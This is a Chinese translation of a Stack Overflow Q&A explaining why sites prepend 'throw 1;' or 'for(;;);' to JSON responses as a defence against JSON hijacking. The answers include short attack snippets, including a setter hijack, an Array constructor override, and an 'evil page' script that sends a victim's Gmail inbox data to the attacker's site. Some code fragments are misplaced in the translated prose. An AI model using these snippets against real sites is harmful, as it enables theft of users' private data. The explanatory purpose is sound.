为什么人们把代码像“throw 1;<不要作恶>“和”for(;;);“在json响应之前?

2022-08-30 00:54:57

可能的重复:
为什么 Google 会将 while(1) 附加到他们的 JSON 响应中?

谷歌返回json,如下所示:

throw 1; <dont be evil> { foo: bar}

Facebook的ajax有这样的json:

for(;;); {"error":0,"errorSummary": ""}
  • 为什么他们放置会停止执行并使json无效的代码?
  • 如果它无效,他们如何解析它,如果你试图评估它,他们会崩溃?
  • 他们只是从字符串中删除它(看起来很贵)吗?
  • 这有什么安全优势吗?

为了安全起见,为了响应它:

如果抓取程序位于另一个域上,则必须使用标记来获取数据,因为 XHR 无法在跨域工作。即使没有攻击者如何获取数据?它没有分配给变量,所以它不会因为没有引用而被垃圾回收吗?scriptfor(;;);

基本上,为了获得跨域的数据,他们必须这样做

<script src="http://target.com/json.js"></script>

但是,即使没有预先附加崩溃脚本,攻击者也无法使用任何Json数据,除非将其分配给您可以全局访问的变量(在这些情况下不是这样)。崩溃代码实际上什么都不做,因为即使没有它,他们也必须使用服务器端脚本来使用其站点上的数据。


答案 1

即使没有攻击者如何获取数据?for(;;);

攻击基于通过改变其构造函数或其 .然后,当目标 JSON 使用 或 构造时,它们将是攻击者自己对这些对象的版本,具有潜在的意外行为。ObjectArrayprototype{...}[...]

例如,您可以将 setter-property 破解为 ,这将背叛写入对象文本中的值:Object

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

然后,当指向使用该属性名称的某个 JSON 时:<script>

{"x": "hello"}

该值将被泄露。"hello"

数组和对象文本导致调用 setter 的方式是有争议的。Firefox 在 3.5 版中删除了该行为,以回应对知名网站的公开攻击。然而,在撰写本文时,Safari(4)和Chrome(5)仍然容易受到这种情况的影响。

所有浏览器现在都不允许的另一个攻击是重新定义构造函数:

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

目前,IE8 的属性实现(基于 ECMAScript 第五版标准 和 )目前不适用于 或 。Object.definePropertyObject.prototypeArray.prototype

但是,除了保护过去的浏览器之外,JavaScript的扩展可能还会在未来导致更多类似类型的潜在泄漏,在这种情况下,chaff也应该防止这些泄漏。


答案 2

考虑一下,在检查您的GMail帐户后,您访问了我的邪恶页面:

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

现在将要发生的事情是,来自谷歌的Javascript代码 - 提问者认为这将是良性的,并立即超出范围 - 实际上将被发布到我的邪恶网站上。假设脚本代码中请求的网址发送(因为您的浏览器将显示正确的 Cookie,因此 Google 会正确地认为您已登录到收件箱):

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

现在,我将把这个对象的序列化版本发布到我的邪恶服务器。谢谢!

防止这种情况发生的方法是分解 JSON 响应,并在来自同一域的可以操作该数据时对其进行分解。如果你喜欢这个答案,请看看bobince发布的答案。